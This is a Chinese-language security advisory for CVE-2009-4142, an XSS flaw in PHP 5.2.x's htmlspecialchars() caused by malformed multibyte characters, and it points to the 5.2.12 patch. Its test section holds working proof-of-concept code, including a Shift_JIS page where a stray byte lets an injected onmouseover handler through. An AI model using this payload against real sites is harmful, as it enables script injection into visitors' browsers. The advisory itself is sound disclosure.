PHP htmlspecialcharacters()畸形多字节字符跨站脚本漏洞


发布日期:2009-12-17
更新日期:2009-12-18

受影响系统:
PHP PHP 5.2.x
不受影响系统:
PHP PHP 5.2.12
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 37389
CVE(CAN) ID: CVE-2009-4142

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的htmlspecialchars()函数没有正确地过滤某些多字节字符输入,远程攻击者可以通过提交包含有特殊字符的请求序列执行跨站脚本攻击。

<*来源:Moriyoshi (hello@iwamot.com)
 
  链接:http://secunia.com/advisories/37821/
        http://bugs.php.net/bug.php?id=49785
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');


<?php

$_GET['a1'] = "\xf0";    // \xf0 - \xfc で可能
$_GET['a2'] = " href=dummy onmouseover=alert(document.title) dummy=dummy";

header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?>" href="<?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?>">test</a></p>
</body>
</html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/ChangeLog-5.php#5.2.12

相关内容